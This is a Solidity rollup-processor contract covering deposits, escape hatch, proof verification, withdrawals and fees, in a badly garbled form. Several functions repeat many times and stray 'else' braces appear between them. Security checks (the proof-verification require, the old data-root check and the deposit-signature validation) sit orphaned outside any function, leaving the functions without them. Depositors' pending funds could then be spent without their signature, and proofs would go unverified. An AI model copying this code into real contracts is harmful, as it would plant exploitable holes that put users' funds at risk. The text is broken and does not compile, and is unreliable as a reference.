}
function getEscapeHatchStatus() public view override returns (bool, uint256) {
uint256 blockNum = block.number;
bool isOpen = blockNum % escapeBlockUpperBound >= escapeBlockLowerBound;
uint256 blocksRemaining = 0;
if (isOpen) {
blocksRemaining = escapeBlockUpperBound - (blockNum % escapeBlockUpperBound);
blocksRemaining = escapeBlockLowerBound - (blockNum % escapeBlockUpperBound);
}
return (isOpen, blocksRemaining);
}
function getEscapeHatchStatus() public view override returns (bool, uint256) {
uint256 blockNum = block.number;
bool isOpen = blockNum % escapeBlockUpperBound >= escapeBlockLowerBound;
uint256 blocksRemaining = 0;
if (isOpen) {
blocksRemaining = escapeBlockUpperBound - (blockNum % escapeBlockUpperBound);
blocksRemaining = escapeBlockLowerBound - (blockNum % escapeBlockUpperBound);
}
return (isOpen, blocksRemaining);
}
} else {
function getUserPendingDeposit(uint256 assetId, address userAddress) external view override returns (uint256) {
return userPendingDeposits[assetId][userAddress];
}
function increasePendingDepositBalance(
uint256 assetId,
address depositorAddress,
uint256 amount
) internal {
userPendingDeposits[assetId][depositorAddress] = userPendingDeposits[assetId][depositorAddress].add(amount);
totalPendingDeposit[assetId] = totalPendingDeposit[assetId].add(amount);
}
function decreasePendingDepositBalance(
uint256 assetId,
address transferFromAddress,
uint256 amount
) internal {
uint256 userBalance = userPendingDeposits[assetId][transferFromAddress];
require(userBalance >= amount, 'Rollup Processor: INSUFFICIENT_DEPOSIT');
userPendingDeposits[assetId][transferFromAddress] = userBalance.sub(amount);
totalPendingDeposit[assetId] = totalPendingDeposit[assetId].sub(amount);
totalDeposited[assetId] = totalDeposited[assetId].add(amount);
}
function setSupportedAsset(address linkedToken, bool supportsPermit) external override onlyOwner {
require(linkedToken != address(0x0), 'Rollup Processor: ZERO_ADDRESS');
supportedAssets.push(linkedToken);
assetPermitSupport[linkedToken] = supportsPermit;
uint256 assetId = supportedAssets.length;
require(assetId < numberOfAssets, 'Rollup Processor: MAX_ASSET_REACHED');
totalPendingDeposit.push(0);
totalDeposited.push(0);
totalWithdrawn.push(0);
totalFees.push(0);
emit AssetAdded(assetId, linkedToken);
}
function setAssetPermitSupport(uint256 assetId, bool supportsPermit) external override onlyOwner {
address assetAddress = getSupportedAsset(assetId);
require(assetAddress != address(0x0), 'Rollup Processor: TOKEN_ASSET_NOT_LINKED');
assetPermitSupport[assetAddress] = supportsPermit;
}
function depositPendingFunds(
uint256 assetId,
uint256 amount,
address depositorAddress
) external payable override whenNotPaused {
if (assetId == ethAssetId) {
require(msg.value == amount, 'Rollup Processor: WRONG_AMOUNT');
increasePendingDepositBalance(assetId, depositorAddress, amount);
require(msg.value == 0, 'Rollup Processor: WRONG_PAYMENT_TYPE');
address assetAddress = getSupportedAsset(assetId);
internalDeposit(assetId, assetAddress, depositorAddress, amount);
}
}
function depositPendingFunds(
uint256 assetId,
uint256 amount,
address depositorAddress
) external payable override whenNotPaused {
if (assetId == ethAssetId) {
require(msg.value == amount, 'Rollup Processor: WRONG_AMOUNT');
increasePendingDepositBalance(assetId, depositorAddress, amount);
require(msg.value == 0, 'Rollup Processor: WRONG_PAYMENT_TYPE');
address assetAddress = getSupportedAsset(assetId);
internalDeposit(assetId, assetAddress, depositorAddress, amount);
}
}
} else {
function depositPendingFundsPermit(
uint256 assetId,
uint256 amount,
address depositorAddress,
address spender,
uint256 permitApprovalAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override whenNotPaused {
address assetAddress = getSupportedAsset(assetId);
IERC20Permit(assetAddress).permit(depositorAddress, spender, permitApprovalAmount, deadline, v, r, s);
internalDeposit(assetId, assetAddress, depositorAddress, amount);
}
function internalDeposit(
uint256 assetId,
address assetAddress,
address depositorAddress,
uint256 amount
) internal {
uint256 rollupAllowance = IERC20(assetAddress).allowance(depositorAddress, address(this));
require(rollupAllowance >= amount, 'Rollup Processor: INSUFFICIENT_TOKEN_APPROVAL');
IERC20(assetAddress).transferFrom(depositorAddress, address(this), amount);
increasePendingDepositBalance(assetId, depositorAddress, amount);
emit Deposit(assetId, depositorAddress, amount);
}
function escapeHatch(
bytes calldata proofData,
bytes calldata signatures,
bytes calldata viewingKeys
) external override whenNotPaused {
(bool isOpen, ) = getEscapeHatchStatus();
require(isOpen, 'Rollup Processor: ESCAPE_BLOCK_RANGE_INCORRECT');
processRollupProof(proofData, signatures, viewingKeys);
}
function processRollup(
bytes calldata proofData,
bytes calldata signatures,
bytes calldata viewingKeys,
bytes calldata providerSignature,
address provider,
address payable feeReceiver,
uint256 feeLimit
) external override whenNotPaused {
uint256 initialGas = gasleft();
require(rollupProviders[provider], 'Rollup Processor: UNKNOWN_PROVIDER');
bytes memory sigData =
abi.encodePacked(proofData[0:rollupPubInputLength], feeReceiver, feeLimit, feeDistributor);
RollupProcessorLibrary.validateSignature(keccak256(sigData), providerSignature, provider);
processRollupProof(proofData, signatures, viewingKeys);
transferFee(proofData);
(bool success, ) =
feeDistributor.call(
abi.encodeWithSignature(
'reimburseGas(uint256,uint256,address)',
initialGas - gasleft(),
feeLimit,
feeReceiver
)
);
require(success, 'Rollup Processor: REIMBURSE_GAS_FAILED');
}
function processRollupProof(
bytes memory proofData,
bytes memory signatures,
bytes calldata /*viewingKeys*/
) internal {
uint256 numTxs = verifyProofAndUpdateState(proofData);
processDepositsAndWithdrawals(proofData, numTxs, signatures);
}
function verifyProofAndUpdateState(bytes memory proofData) internal returns (uint256) {
(
bytes32 newDataRoot,
bytes32 newNullRoot,
uint256 rollupId,
uint256 rollupSize,
bytes32 newRootRoot,
uint256 numTxs,
uint256 newDataSize
) = validateMerkleRoots(proofData);
bool proof_verified = false;
address verifierAddress;
uint256 temp1;
uint256 temp2;
uint256 temp3;
assembly {
let inputPtr := sub(proofData, 0x44)
verifierAddress := sload(verifier_slot)
temp1 := mload(inputPtr)
temp2 := mload(add(inputPtr, 0x20))
temp3 := mload(add(inputPtr, 0x40))
mstore8(inputPtr, 0xac)
mstore8(add(inputPtr, 0x01), 0x31)
mstore8(add(inputPtr, 0x02), 0x8c)
mstore8(add(inputPtr, 0x03), 0x5d)
mstore(add(inputPtr, 0x04), 0x40)
mstore(add(inputPtr, 0x24), rollupSize)
let callSize := add(mload(proofData), 0x64)
proof_verified := staticcall(gas(), verifierAddress, inputPtr, callSize, 0x00, 0x00)
mstore(inputPtr, temp1)
mstore(add(inputPtr, 0x20), temp2)
mstore(add(inputPtr, 0x40), temp3)
}
nullRoot = newNullRoot;
nextRollupId = rollupId.add(1);
rootRoot = newRootRoot;
dataSize = newDataSize;
emit RollupProcessed(rollupId, dataRoot, nullRoot, rootRoot, dataSize);
return numTxs;
}
function verifyProofAndUpdateState(bytes memory proofData) internal returns (uint256) {
(
bytes32 newDataRoot,
bytes32 newNullRoot,
uint256 rollupId,
uint256 rollupSize,
bytes32 newRootRoot,
uint256 numTxs,
uint256 newDataSize
) = validateMerkleRoots(proofData);
bool proof_verified = false;
address verifierAddress;
uint256 temp1;
uint256 temp2;
uint256 temp3;
assembly {
let inputPtr := sub(proofData, 0x44)
verifierAddress := sload(verifier_slot)
temp1 := mload(inputPtr)
temp2 := mload(add(inputPtr, 0x20))
temp3 := mload(add(inputPtr, 0x40))
mstore8(inputPtr, 0xac)
mstore8(add(inputPtr, 0x01), 0x31)
mstore8(add(inputPtr, 0x02), 0x8c)
mstore8(add(inputPtr, 0x03), 0x5d)
mstore(add(inputPtr, 0x04), 0x40)
mstore(add(inputPtr, 0x24), rollupSize)
let callSize := add(mload(proofData), 0x64)
proof_verified := staticcall(gas(), verifierAddress, inputPtr, callSize, 0x00, 0x00)
mstore(inputPtr, temp1)
mstore(add(inputPtr, 0x20), temp2)
mstore(add(inputPtr, 0x40), temp3)
}
nullRoot = newNullRoot;
nextRollupId = rollupId.add(1);
rootRoot = newRootRoot;
dataSize = newDataSize;
emit RollupProcessed(rollupId, dataRoot, nullRoot, rootRoot, dataSize);
return numTxs;
}
require(proof_verified, 'proof verification failed');
dataRoot = newDataRoot;
function validateMerkleRoots(bytes memory proofData)
internal
view
returns (
bytes32,
bytes32,
uint256,
uint256,
bytes32,
uint256,
uint256
)
{
(
uint256[4] memory nums,
bytes32 oldDataRoot,
bytes32 newDataRoot,
bytes32 oldNullRoot,
bytes32 newNullRoot,
bytes32 oldRootRoot,
bytes32 newRootRoot
) = decodeProof(proofData, numberOfAssets);
nums[3] = nums[1] == 0 ? 1 : nums[1];
uint256 toInsert = nums[3].mul(2);
if (dataSize % toInsert == 0) {
require(nums[2] == dataSize, 'Rollup Processor: INCORRECT_DATA_START_INDEX');
uint256 expected = dataSize + toInsert - (dataSize % toInsert);
require(nums[2] == expected, 'Rollup Processor: INCORRECT_DATA_START_INDEX');
}
require(oldNullRoot == nullRoot, 'Rollup Processor: INCORRECT_NULL_ROOT');
require(oldRootRoot == rootRoot, 'Rollup Processor: INCORRECT_ROOT_ROOT');
require(nums[0] == nextRollupId, 'Rollup Processor: ID_NOT_SEQUENTIAL');
return (newDataRoot, newNullRoot, nums[0], nums[1], newRootRoot, nums[3], nums[2] + toInsert);
}
function validateMerkleRoots(bytes memory proofData)
internal
view
returns (
bytes32,
bytes32,
uint256,
uint256,
bytes32,
uint256,
uint256
)
{
(
uint256[4] memory nums,
bytes32 oldDataRoot,
bytes32 newDataRoot,
bytes32 oldNullRoot,
bytes32 newNullRoot,
bytes32 oldRootRoot,
bytes32 newRootRoot
) = decodeProof(proofData, numberOfAssets);
nums[3] = nums[1] == 0 ? 1 : nums[1];
uint256 toInsert = nums[3].mul(2);
if (dataSize % toInsert == 0) {
require(nums[2] == dataSize, 'Rollup Processor: INCORRECT_DATA_START_INDEX');
uint256 expected = dataSize + toInsert - (dataSize % toInsert);
require(nums[2] == expected, 'Rollup Processor: INCORRECT_DATA_START_INDEX');
}
require(oldNullRoot == nullRoot, 'Rollup Processor: INCORRECT_NULL_ROOT');
require(oldRootRoot == rootRoot, 'Rollup Processor: INCORRECT_ROOT_ROOT');
require(nums[0] == nextRollupId, 'Rollup Processor: ID_NOT_SEQUENTIAL');
return (newDataRoot, newNullRoot, nums[0], nums[1], newRootRoot, nums[3], nums[2] + toInsert);
}
} else {
require(oldDataRoot == dataRoot, 'Rollup Processor: INCORRECT_DATA_ROOT');
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
RollupProcessorLibrary.validateUnpackedSignature(digest, signature, inputOwner);
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function processDepositsAndWithdrawals(
bytes memory proofData,
uint256 numTxs,
bytes memory signatures
) internal {
uint256 sigIndex = 0x00;
uint256 proofDataPtr;
assembly {
}
uint256 end = proofDataPtr + (numTxs * txPubInputLength);
uint256 stepSize = txPubInputLength;
while (proofDataPtr < end) {
uint256 proofId;
uint256 publicInput;
uint256 publicOutput;
bool txNeedsProcessing;
assembly {
proofId := mload(proofDataPtr)
publicInput := mload(add(proofDataPtr, 0x20))
publicOutput := mload(add(proofDataPtr, 0x40))
txNeedsProcessing := and(iszero(proofId), or(not(iszero(publicInput)), not(iszero(publicOutput))))
}
if (txNeedsProcessing) {
uint256 assetId;
assembly {
assetId := mload(add(proofDataPtr, 0x60))
}
if (publicInput > 0) {
address inputOwner;
bytes32 digest;
assembly {
inputOwner := mload(add(proofDataPtr, 0x140))
digest := keccak256(proofDataPtr, stepSize)
}
if (!depositProofApprovals[inputOwner][digest]) {
bytes memory signature;
uint256 temp;
assembly {
signature := add(signatures, sigIndex)
temp := mload(signature)
mstore(signature, 0x60)
}
assembly {
mstore(signature, temp)
sigIndex := add(sigIndex, 0x60)
}
}
decreasePendingDepositBalance(assetId, inputOwner, publicInput);
}
if (publicOutput > 0) {
address outputOwner;
assembly {
outputOwner := mload(add(proofDataPtr, 0x160))
}
withdraw(publicOutput, outputOwner, assetId);
}
}
proofDataPtr += txPubInputLength;
}
}
function transferFee(bytes memory proofData) internal {
for (uint256 i = 0; i < numberOfAssets; ++i) {
uint256 txFee = extractTotalTxFee(proofData, i);
if (txFee > 0) {
bool success;
if (i == ethAssetId) {
address assetAddress = getSupportedAsset(i);
IERC20(assetAddress).approve(feeDistributor, txFee);
(success, ) = feeDistributor.call(abi.encodeWithSignature('deposit(uint256,uint256)', i, txFee));
}
require(success, 'Rollup Processor: DEPOSIT_TX_FEE_FAILED');
totalFees[i] = totalFees[i].add(txFee);
}
}
}
function transferFee(bytes memory proofData) internal {
for (uint256 i = 0; i < numberOfAssets; ++i) {
uint256 txFee = extractTotalTxFee(proofData, i);
if (txFee > 0) {
bool success;
if (i == ethAssetId) {
address assetAddress = getSupportedAsset(i);
IERC20(assetAddress).approve(feeDistributor, txFee);
(success, ) = feeDistributor.call(abi.encodeWithSignature('deposit(uint256,uint256)', i, txFee));
}
require(success, 'Rollup Processor: DEPOSIT_TX_FEE_FAILED');
totalFees[i] = totalFees[i].add(txFee);
}
}
}
function transferFee(bytes memory proofData) internal {
for (uint256 i = 0; i < numberOfAssets; ++i) {
uint256 txFee = extractTotalTxFee(proofData, i);
if (txFee > 0) {
bool success;
if (i == ethAssetId) {
address assetAddress = getSupportedAsset(i);
